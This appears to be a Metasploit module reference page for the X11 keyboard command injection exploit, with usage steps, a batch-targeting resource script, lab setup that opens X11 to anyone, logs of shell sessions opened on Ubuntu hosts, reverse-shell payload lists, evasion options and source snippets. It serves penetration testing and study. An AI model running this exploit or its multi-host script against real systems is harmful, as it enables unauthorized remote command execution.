X11 Keyboard Command Injection - Metasploit


This page contains detailed information about how to use the exploit/unix/x11/x11_keyboard_exec metasploit module. For list of all metasploit modules, visit the Metasploit Module Library.

Module Overview


Name: X11 Keyboard Command Injection
Module: exploit/unix/x11/x11_keyboard_exec
Source code: modules/exploits/unix/x11/x11_keyboard_exec.rb
Disclosure date: 2015-07-10
Last modification time: 2020-10-02 17:38:06 +0000
Supported architecture(s): cmd
Supported platform(s): Unix
Target service / protocol: -
Target network port(s): 6000
List of CVEs: -

This module exploits open X11 servers by connecting and registering a virtual keyboard. The virtual keyboard is used to open an xterm or gnome terminal and type and execute the specified payload.

Module Ranking and Traits


Module Ranking:

  • excellent: The exploit will never crash the service. This is the case for SQL Injection, CMD execution, RFI, LFI, etc. No typical memory corruption exploits should be given this ranking unless there are extraordinary circumstances. More information about ranking can be found here.

Basic Usage


Using x11_keyboard_exec against a single host

Normally, you can use exploit/unix/x11/x11_keyboard_exec this way:

msf > use exploit/unix/x11/x11_keyboard_exec
msf exploit(x11_keyboard_exec) > show targets
    ... a list of targets ...
msf exploit(x11_keyboard_exec) > set TARGET target-id
msf exploit(x11_keyboard_exec) > show options
    ... show and set options ...
msf exploit(x11_keyboard_exec) > exploit

Using x11_keyboard_exec against multiple hosts

But it looks like this is a remote exploit module, which means you can also engage multiple hosts.

First, create a list of IPs you wish to exploit with this module. One IP per line.

Second, set up a background payload listener. This payload should be the same as the one your x11_keyboard_exec will be using:

  1. Do: use exploit/multi/handler
  2. Do: set PAYLOAD [payload]
  3. Set other options required by the payload
  4. Do: set EXITONSESSION false
  5. Do: run -j

At this point, you should have a payload listening.

Next, create the following script. Notice you will probably need to modify the ip_list path, and payload options accordingly:

<ruby>
#
# Modify the path if necessary
#
ip_list = '/tmp/ip_list.txt'

File.open(ip_list, 'rb').each_line do |ip|
  print_status("Trying against #{ip}")
  run_single("use exploit/unix/x11/x11_keyboard_exec")
  run_single("set RHOST #{ip}")
  run_single("set DisablePayloadHandler true")

  #
  # Set a payload that's the same as the handler.
  # You might also need to add more run_single commands to configure other
  # payload options.
  #
  run_single("set PAYLOAD [payload name]")

  run_single("run")
end
</ruby>

Next, run the resource script in the console:

msf > resource [path-to-resource-script]

And finally, you should see that the exploit is trying against those hosts similar to the following MS08-067 example:

msf > resource /tmp/exploit_hosts.rc
[*] Processing /tmp/exploit_hosts.rc for ERB directives.
[*] resource (/tmp/exploit_hosts.rc)> Ruby Code (402 bytes)
[*] Trying against 192.168.1.80

RHOST => 192.168.1.80
DisablePayloadHandler => true
PAYLOAD => windows/meterpreter/reverse_tcp
LHOST => 192.168.1.199

[*] 192.168.1.80:445 - Automatically detecting the target...
[*] 192.168.1.80:445 - Fingerprint: Windows XP - Service Pack 3 - lang:English
[*] 192.168.1.80:445 - Selected Target: Windows XP SP3 English (AlwaysOn NX)
[*] 192.168.1.80:445 - Attempting to trigger the vulnerability...
[*] Sending stage (957999 bytes) to 192.168.1.80
[*] Trying against 192.168.1.109
RHOST => 192.168.1.109
DisablePayloadHandler => true
PAYLOAD => windows/meterpreter/reverse_tcp
LHOST => 192.168.1.199
[*] 192.168.1.109:445 - Automatically detecting the target...
[*] 192.168.1.109:445 - Fingerprint: Windows 2003 - Service Pack 2 - lang:Unknown
[*] 192.168.1.109:445 - We could not detect the language pack, defaulting to English
[*] 192.168.1.109:445 - Selected Target: Windows 2003 SP2 English (NX)
[*] 192.168.1.109:445 - Attempting to trigger the vulnerability...
[*] Meterpreter session 1 opened (192.168.1.199:4444 -> 192.168.1.80:1071) at 2016-03-02 19:32:49 -0600

[*] Sending stage (957999 bytes) to 192.168.1.109
[*] Meterpreter session 2 opened (192.168.1.199:4444 -> 192.168.1.109:4626) at 2016-03-02 19:32:52 -0600

Required Options


  • RHOSTS: The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'

Knowledge Base


Vulnerable Application


X11 (X Window System) is a graphical windowing system most common on unix/linux. The service can accept connections from any users when misconfigured which is done with the command xhost +.

This exploit has been verified against:

  1. Ubuntu 14.04
  2. Ubuntu 16.04
  3. Kali via Emulation method

This exploit does NOT work against:

  1. Solaris 10 Java Desktop System (alt+F2 has no effect)

Emulation

This can be emulated (on kali) utilizing the following command: socat -d -d TCP-LISTEN:6000,fork UNIX-CONNECT:/tmp/.X11-unix/X0

Ubuntu 12.04, 14.04

  1. sudo nano /etc/lightdm/lightdm.conf
  2. Under the [SeatDefaults] area, add:

    xserver-allow-tcp=true
    allow-guest=true
    
  3. logout or reboot

  4. Verification: sudo netstat -antp | grep 6000

    tcp        0      0 0.0.0.0:6000            0.0.0.0:*               LISTEN      1806/X
    
  5. Now, to verify you allow ANYONE to get on X11, type: xhost +

Ubuntu 16.04

Use the Ubuntu 12.04 instructions, however change SeatDefaults to Seat:*

Verification Steps


  1. Install and configure X11
  2. Start msfconsole
  3. Do: use exploit/unix/x11/x11_keyboard_exec
  4. Do: set rhost [IPs]
  5. Do: set payload [payload]
  6. Do: exploit

Scenarios


Ubuntu 14.04

msf exploit(x11_keyboard_exec) > set payload cmd/unix/bind_netcat 
payload => cmd/unix/bind_netcat
msf exploit(x11_keyboard_exec) > run

[*] Started bind handler
[*] 192.168.2.75:6000 - 192.168.2.75:6000 - Register keyboard
[*] 192.168.2.75:6000 - 192.168.2.75:6000 - Opening "Run Application"
[*] 192.168.2.75:6000 - 192.168.2.75:6000 - Waiting 5 seconds...
[*] 192.168.2.75:6000 - 192.168.2.75:6000 - Opening xterm
[*] 192.168.2.75:6000 - 192.168.2.75:6000 - Waiting 5 seconds...
[*] 192.168.2.75:6000 - 192.168.2.75:6000 - Typing and executing payload
[*] Command shell session 1 opened (192.168.2.117:44549 -> 192.168.2.75:4444) at 2017-04-23 15:26:56 -0400

id
uid=1000(ubuntu) gid=1000(ubuntu) groups=1000(ubuntu),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),108(lpadmin),124(sambashare)
cat /etc/*release
DISTRIB_ID=Ubuntu
DISTRIB_RELEASE=14.04
DISTRIB_CODENAME=trusty
DISTRIB_DESCRIPTION="Ubuntu 14.04.5 LTS"
NAME="Ubuntu"
VERSION="14.04.5 LTS, Trusty Tahr"
ID=ubuntu
ID_LIKE=debian
PRETTY_NAME="Ubuntu 14.04.5 LTS"
VERSION_ID="14.04"

Ubuntu 16.04

msf exploit(x11_keyboard_exec) > set rhost 192.168.2.26
rhost => 192.168.2.26
msf exploit(x11_keyboard_exec) > set payload cmd/unix/bind_netcat 
payload => cmd/unix/bind_netcat
msf exploit(x11_keyboard_exec) > exploit

[*] Started bind handler
[*] 192.168.2.26:6000 - 192.168.2.26:6000 - Register keyboard
[*] 192.168.2.26:6000 - 192.168.2.26:6000 - Opening "Run Application"
[*] 192.168.2.26:6000 - 192.168.2.26:6000 - Waiting 5 seconds...
[*] 192.168.2.26:6000 - 192.168.2.26:6000 - Opening xterm
[*] 192.168.2.26:6000 - 192.168.2.26:6000 - Waiting 5 seconds...
[*] 192.168.2.26:6000 - 192.168.2.26:6000 - Typing and executing payload
[*] Command shell session 2 opened (192.168.2.117:45813 -> 192.168.2.26:4444) at 2017-04-23 15:29:27 -0400

id 
uid=1000(ubuntu) gid=1000(ubuntu) groups=1000(ubuntu),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),113(lpadmin),128(sambashare)
cat /etc/*release
DISTRIB_ID=Ubuntu
DISTRIB_RELEASE=16.04
DISTRIB_CODENAME=xenial
DISTRIB_DESCRIPTION="Ubuntu 16.04.1 LTS"
NAME="Ubuntu"
VERSION="16.04.1 LTS (Xenial Xerus)"
ID=ubuntu
ID_LIKE=debian
PRETTY_NAME="Ubuntu 16.04.1 LTS"
VERSION_ID="16.04"
UBUNTU_CODENAME=xenial

Kali via Emulation

msf exploit(x11_keyboard_exec) > set payload cmd/unix/bind_netcat 
payload => cmd/unix/bind_netcat
msf exploit(x11_keyboard_exec) > set rhost 127.0.0.1
rhost => 127.0.0.1
msf exploit(x11_keyboard_exec) > run

[*] Started bind handler
[*] 127.0.0.1:6000 - 127.0.0.1:6000 - Register keyboard
[*] 127.0.0.1:6000 - 127.0.0.1:6000 - Opening "Run Application"
[*] 127.0.0.1:6000 - 127.0.0.1:6000 - Waiting 5 seconds...
[*] 127.0.0.1:6000 - 127.0.0.1:6000 - Opening xterm
[*] 127.0.0.1:6000 - 127.0.0.1:6000 - Waiting 5 seconds...
[*] 127.0.0.1:6000 - 127.0.0.1:6000 - Typing and executing payload
[*] Command shell session 3 opened (127.0.0.1:37909 -> 127.0.0.1:4444) at 2017-04-23 15:35:26 -0400

Go back to menu.

Msfconsole Usage


Here is how the unix/x11/x11_keyboard_exec exploit module looks in the msfconsole:

msf6 > use exploit/unix/x11/x11_keyboard_exec

[*] No payload configured, defaulting to cmd/unix/reverse_netcat
msf6 exploit(unix/x11/x11_keyboard_exec) > show info

       Name: X11 Keyboard Command Injection
     Module: exploit/unix/x11/x11_keyboard_exec
   Platform: Unix
       Arch: cmd
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Excellent
  Disclosed: 2015-07-10

Provided by:
  xistence <[email protected]>

Available targets:
  Id  Name
  --  ----
  0   xterm (Generic)
  1   gnome-terminal (Ubuntu)

Check supported:
  No

Basic options:
  Name       Current Setting  Required  Description
  ----       ---------------  --------  -----------
  RHOSTS                      yes       The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
  RPORT      6000             yes       The target port (TCP)
  TIME_WAIT  5                yes       Time to wait for opening GUI windows in seconds

Payload information:

Description:
  This module exploits open X11 servers by connecting and registering 
  a virtual keyboard. The virtual keyboard is used to open an xterm or 
  gnome terminal and type and execute the specified payload.

Module Options


This is a complete list of options available in the unix/x11/x11_keyboard_exec exploit:

msf6 exploit(unix/x11/x11_keyboard_exec) > show options

Module options (exploit/unix/x11/x11_keyboard_exec):

   Name       Current Setting  Required  Description
   ----       ---------------  --------  -----------
   RHOSTS                      yes       The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
   RPORT      6000             yes       The target port (TCP)
   TIME_WAIT  5                yes       Time to wait for opening GUI windows in seconds

Payload options (cmd/unix/reverse_netcat):

   Name   Current Setting  Required  Description
   ----   ---------------  --------  -----------
   LHOST  192.168.204.3    yes       The listen address (an interface may be specified)
   LPORT  4444             yes       The listen port

Exploit target:

   Id  Name
   --  ----
   0   xterm (Generic)

Advanced Options


Here is a complete list of advanced options supported by the unix/x11/x11_keyboard_exec exploit:

msf6 exploit(unix/x11/x11_keyboard_exec) > show advanced

Module advanced options (exploit/unix/x11/x11_keyboard_exec):

   Name                    Current Setting  Required  Description
   ----                    ---------------  --------  -----------
   CHOST                                    no        The local client address
   CPORT                                    no        The local client port
   ConnectTimeout          10               yes       Maximum number of seconds to establish a TCP connection
   ContextInformationFile                   no        The information file that contains context information
   DisablePayloadHandler   false            no        Disable the handler code for the selected payload
   EnableContextEncoding   false            no        Use transient context when encoding payloads
   Proxies                                  no        A proxy chain of format type:host:port[,type:host:port][...]
   SSL                     false            no        Negotiate SSL/TLS for outgoing connections
   SSLCipher                                no        String for SSL cipher - "DHE-RSA-AES256-SHA" or "ADH"
   SSLVerifyMode           PEER             no        SSL verification method (Accepted: CLIENT_ONCE, FAIL_IF_NO_PEER_CERT, NONE, PEER)
   SSLVersion              Auto             yes       Specify the version of SSL/TLS to be used (Auto, TLS and SSL23 are auto-negotiate) (Accepted: Auto, TLS, SSL23, SSL3, TLS1, TLS1.1, TLS1.2)
   VERBOSE                 false            no        Enable detailed status messages
   WORKSPACE                                no        Specify the workspace for this module
   WfsDelay                2                no        Additional delay in seconds to wait for a session

Payload advanced options (cmd/unix/reverse_netcat):

   Name                        Current Setting  Required  Description
   ----                        ---------------  --------  -----------
   AutoRunScript                                no        A script to run automatically on session creation.
   AutoVerifySession           true             yes       Automatically verify and drop invalid sessions
   CommandShellCleanupCommand                   no        A command to run before the session is closed
   CreateSession               true             no        Create a new session for every successful login
   InitialAutoRunScript                         no        An initial script to run on session creation (before AutoRunScript)
   ReverseAllowProxy           false            yes       Allow reverse tcp even with Proxies specified. Connect back will NOT go through proxy but directly to LHOST
   ReverseListenerBindAddress                   no        The specific IP address to bind to on the local system
   ReverseListenerBindPort                      no        The port to bind to on the local system if different from LPORT
   ReverseListenerComm                          no        The specific communication channel to use for this listener
   ReverseListenerThreaded     false            yes       Handle every connection in a new thread (experimental)
   StagerRetryCount            10               no        The number of times the stager should retry if the first connect fails
   StagerRetryWait             5                no        Number of seconds to wait for the stager between reconnect attempts
   VERBOSE                     false            no        Enable detailed status messages
   WORKSPACE                                    no        Specify the workspace for this module

Exploit Targets


Here is a list of targets (platforms and systems) which the unix/x11/x11_keyboard_exec module can exploit:

msf6 exploit(unix/x11/x11_keyboard_exec) > show targets

Exploit targets:

   Id  Name
   --  ----
   0   xterm (Generic)
   1   gnome-terminal (Ubuntu)

Compatible Payloads


This is a list of possible payloads which can be delivered and executed on the target system using the unix/x11/x11_keyboard_exec exploit:

msf6 exploit(unix/x11/x11_keyboard_exec) > show payloads

Compatible Payloads
===================

   #  Name                                 Disclosure Date  Rank    Check  Description
   -  ----                                 ---------------  ----    -----  -----------
   0  payload/cmd/unix/bind_awk                             normal  No     Unix Command Shell, Bind TCP (via AWK)
   1  payload/cmd/unix/bind_netcat                          normal  No     Unix Command Shell, Bind TCP (via netcat)
   2  payload/cmd/unix/pingback_bind                        normal  No     Unix Command Shell, Pingback Bind TCP (via netcat)
   3  payload/cmd/unix/pingback_reverse                     normal  No     Unix Command Shell, Pingback Reverse TCP (via netcat)
   4  payload/cmd/unix/reverse_awk                          normal  No     Unix Command Shell, Reverse TCP (via AWK)
   5  payload/cmd/unix/reverse_bash                         normal  No     Unix Command Shell, Reverse TCP (/dev/tcp)
   6  payload/cmd/unix/reverse_netcat                       normal  No     Unix Command Shell, Reverse TCP (via netcat)
   7  payload/cmd/unix/reverse_python                       normal  No     Unix Command Shell, Reverse TCP (via Python)
   8  payload/cmd/unix/reverse_python_ssl                   normal  No     Unix Command Shell, Reverse TCP SSL (via python)

Evasion Options


Here is the full list of possible evasion options supported by the unix/x11/x11_keyboard_exec exploit in order to evade defenses (e.g. Antivirus, EDR, Firewall, NIDS etc.):

msf6 exploit(unix/x11/x11_keyboard_exec) > show evasion

Module evasion options:

   Name                Current Setting  Required  Description
   ----                ---------------  --------  -----------
   TCP::max_send_size  0                no        Maxiumum tcp segment size.  (0 = disable)
   TCP::send_delay     0                no        Delays inserted before every send.  (0 = disable)

Go back to menu.

Error Messages


This module may fail with the following error messages:

Check for the possible causes from the code snippets below found in the module source code. This can often times help in identifying the root cause of the problem.

<RHOST>:<RPORT> - Error pressing key: <KEY> <RES.INSPECT>


Here is a relevant code snippet related to the "<RHOST>:<RPORT> - Error pressing key: <KEY> <RES.INSPECT>" error message:

165:	
166:	    res = sock.get_once
167:	
168:	    # Response should give 1 on first byte (Success)
169:	    unless res && res[0,1] == "\x01"
170:	      fail_with(Failure::Unknown, "#{rhost}:#{rport} - Error pressing key: #{key} #{res.inspect}")
171:	    end
172:	
173:	  end
174:	
175:	  def release_key(key)

<RHOST>:<RPORT> - Error releasing key: <KEY> <RES.INSPECT>


Here is a relevant code snippet related to the "<RHOST>:<RPORT> - Error releasing key: <KEY> <RES.INSPECT>" error message:

204:	
205:	    res = sock.get_once
206:	
207:	    # Response should give 1 on first byte (Success)
208:	    unless res && res[0,1] == "\x01"
209:	      fail_with(Failure::Unknown, "#{rhost}:#{rport} - Error releasing key: #{key} #{res.inspect}")
210:	    end
211:	
212:	  end
213:	
214:	  def type_command(command)

<RHOST>:<RPORT> - X11 initial communication failed


Here is a relevant code snippet related to the "<RHOST>:<RPORT> - X11 initial communication failed" error message:

272:	     # Retrieve the whole X11 details response
273:	      res = send_msg(sock,req)
274:	
275:	      # Response should give 0x01 in first byte (Success)
276:	      unless res && res[0,1] == "\x01"
277:	        fail_with(Failure::Unknown, "#{rhost}:#{rport} - X11 initial communication failed")
278:	      end
279:	
280:	
281:	      # Keyboard registration
282:	      req = "\x62" # Opcode 98: QueryExtension

<RHOST>:<RPORT> - X11 Request QueryExtension (opcode 98) XKEYBOARD failed


Here is a relevant code snippet related to the "<RHOST>:<RPORT> - X11 Request QueryExtension (opcode 98) XKEYBOARD failed" error message:

293:	      # Response should give 0x01 in first byte (Success)
294:	      if res && res[0,1] == "\x01"
295:	        @xkeyboard_opcode = res[9,1] # Retrieve the XKEYBOARD opcode
296:	      else
297:	        #puts res.inspect
298:	        fail_with(Failure::Unknown, "#{rhost}:#{rport} - X11 Request QueryExtension (opcode 98) XKEYBOARD failed")
299:	      end
300:	
301:	
302:	      req = ""
303:	      req << @xkeyboard_opcode

<RHOST>:<RPORT> - X11 Request XKEYBOARD (opcode 136) failed


Here is a relevant code snippet related to the "<RHOST>:<RPORT> - X11 Request XKEYBOARD (opcode 136) failed" error message:

308:	
309:	      # Retrieve the whole X11 details response
310:	      res = send_msg(sock,req)
311:	
312:	      unless res && res[0,1] == "\x01"
313:	        fail_with(Failure::Unknown, "#{rhost}:#{rport} - X11 Request XKEYBOARD (opcode 136) failed -")
314:	      end
315:	
316:	
317:	      req = "\x62" # Opcode 98: QueryExtension
318:	      req << "\x00" # Unused

<RHOST>:<RPORT> - X11 Request QueryExtension (opcode 98) XInputExtension failed


Here is a relevant code snippet related to the "<RHOST>:<RPORT> - X11 Request QueryExtension (opcode 98) XInputExtension failed" error message:

325:	      # Retrieve the whole X11 details response
326:	      res = send_msg(sock,req)
327:	
328:	      # Response should give 0x01 in first byte (Success)
329:	      unless res && res[0,1] == "\x01"
330:	        fail_with(Failure::Unknown, "#{rhost}:#{rport} - X11 Request QueryExtension (opcode 98) XInputExtension failed")
331:	      end
332:	
333:	
334:	      req = "\x62" # Opcode 98: QueryExtension
335:	      req << "\x00" # Unused

<RHOST>:<RPORT> - X11 Request QueryExtension (opcode 98) XTEST failed


Here is a relevant code snippet related to the "<RHOST>:<RPORT> - X11 Request QueryExtension (opcode 98) XTEST failed" error message:

344:	
345:	      # Response should give 0x01 in first byte (Success)
346:	      if res && res[0,1] == "\x01"
347:	        @xtest_opcode = res[9,1] # Retrieve the XTEST opcode
348:	      else
349:	        fail_with(Failure::Unknown, "#{rhost}:#{rport} - X11 Request QueryExtension (opcode 98) XTEST failed")
350:	      end
351:	
352:	
353:	      req = "\x62" # Opcode 98: QueryExtension
354:	      req << "\x00" # Unused

<RHOST>:<RPORT> - X11 Request QueryExtension (opcode 98) Generic Event Extension failed


Here is a relevant code snippet related to the "<RHOST>:<RPORT> - X11 Request QueryExtension (opcode 98) Generic Event Extension failed" error message:

363:	
364:	      # Response should give 0x01 in first byte (Success)
365:	      if res && res[0,1] == "\x01"
366:	        @genericevent_opcode = res[9,1] # Retrieve the Generic Event Extension opcode
367:	      else
368:	        fail_with(Failure::Unknown, "#{rhost}:#{rport} - X11 Request QueryExtension (opcode 98) Generic Event Extension failed")
369:	      end
370:	
371:	
372:	      req = ""
373:	      req << @genericevent_opcode

<RHOST>:<RPORT> - X11 Request XKEYBOARD failed


Here is a relevant code snippet related to the "<RHOST>:<RPORT> - X11 Request XKEYBOARD failed" error message:

379:	      # Retrieve the whole X11 details response
380:	      res = send_msg(sock,req)
381:	
382:	      # Response should give 0x01 in first byte (Success)
383:	      unless res && res[0,1] == "\x01"
384:	        fail_with(Failure::Unknown, "#{rhost}:#{rport} - X11 Request XKEYBOARD failed")
385:	      end
386:	
387:	
388:	      req = ""
389:	      req << @xtest_opcode

<RHOST>:<RPORT> - X11 Request XTEST failed


Here is a relevant code snippet related to the "<RHOST>:<RPORT> - X11 Request XTEST failed" error message:

395:	      # Retrieve the whole X11 details response
396:	      res = send_msg(sock,req)
397:	
398:	      # Response should give 0x01 in first byte (Success)
399:	      unless res && res[0,1] == "\x01"
400:	        fail_with(Failure::Unknown, "#{rhost}:#{rport} - X11 Request XTEST failed")
401:	      end
402:	
403:	
404:	      req = "\x65" # Opcode 101: GetKeyboardMapping
405:	      req << "\x00" # Unused

<RHOST>:<RPORT> - X11 Request GetKeyboardMapping (opcode 101) failed


Here is a relevant code snippet related to the "<RHOST>:<RPORT> - X11 Request GetKeyboardMapping (opcode 101) failed" error message:

411:	      # Retrieve the whole X11 details response
412:	      res = send_msg(sock,req)
413:	
414:	      # Response should give 0x01 in first byte (Success)
415:	      unless res && res[0,1] == "\x01"
416:	        fail_with(Failure::Unknown, "#{rhost}:#{rport} - X11 Request GetKeyboardMapping (opcode 101) failed")
417:	      end
418:	
419:	
420:	      req = ""
421:	      req << @xkeyboard_opcode

<RHOST>:<RPORT> - X11 Request XKEYBOARD failed


Here is a relevant code snippet related to the "<RHOST>:<RPORT> - X11 Request XKEYBOARD failed" error message:

444:	      # Retrieve the whole X11 details response
445:	      res = send_msg(sock,req)
446:	
447:	      # Response should give 0x01 in first byte (Success)
448:	      unless res && res[0,1] == "\x01"
449:	        fail_with(Failure::Unknown, "#{rhost}:#{rport} - X11 Request XKEYBOARD failed")
450:	      end
451:	
452:	
453:	      # Press ALT+F2 to start up "Run application"
454:	      print_status("#{rhost}:#{rport} - Opening \"Run Application\"")

Go back to menu.


Go back to menu.

See Also


Check also the following modules related to this module:

Authors


  • xistence <xistence[at]0x90.nl>

Version


This page has been produced using Metasploit Framework version 6.1.27-dev. For more modules, visit the Metasploit Module Library.

Go back to menu.